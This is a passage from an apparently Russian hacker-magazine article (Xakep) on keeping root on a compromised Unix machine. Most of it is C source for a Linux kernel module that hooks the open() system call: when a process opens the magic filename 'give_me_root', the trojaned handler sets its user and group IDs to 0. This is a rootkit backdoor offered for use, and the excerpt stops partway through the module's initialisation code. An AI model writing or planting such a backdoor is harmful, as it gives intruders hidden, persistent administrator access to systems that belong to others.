|
Root поселение на Unix тачке
Xakep, номер #049, стр. 049-086-3 Вернемся к нашим баранам. Для практической реализации вышеописанного способа возьмем такой системный вызов, как open(), который имеет 3 параметра - имя открываемого файла, флаги и тип режим, в котором мы будем работать с файлом. Сделаем так, чтобы при передаче этому системному вызову в качестве имени файла некоего ключевого слова, ядро повышало бы приоритет нашего процесса до 0. Вот как код выглядит для линукса: /* headers skipped */ #define KEYWORD "give_me_root" /* наше ключевое слово */ extern void* sys_call_table[]; /* таблица системных вызовов */ extern struct task_struct *current; /* указатель на структуру, описывающую текущий процесс */ int (*orig_open) (const char*, int, int); int our_open (const char *name, int flags, int mode) /* протрояненный системный вызов open() */ { char *nn = getname(name); if (strcmp (nn, KEYWORD) == 0) { /* меняем приоритет процесса, сделавшего данный системный вызов */ current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return (0); } /* запускаем оригинальный open() */ return (orig_open (name, flags, mode)); } int init_module (void) { orig_open = sys_call_table[SYS_open]; /* сохраняем старый указатель на функцию-обработчик open'а */ |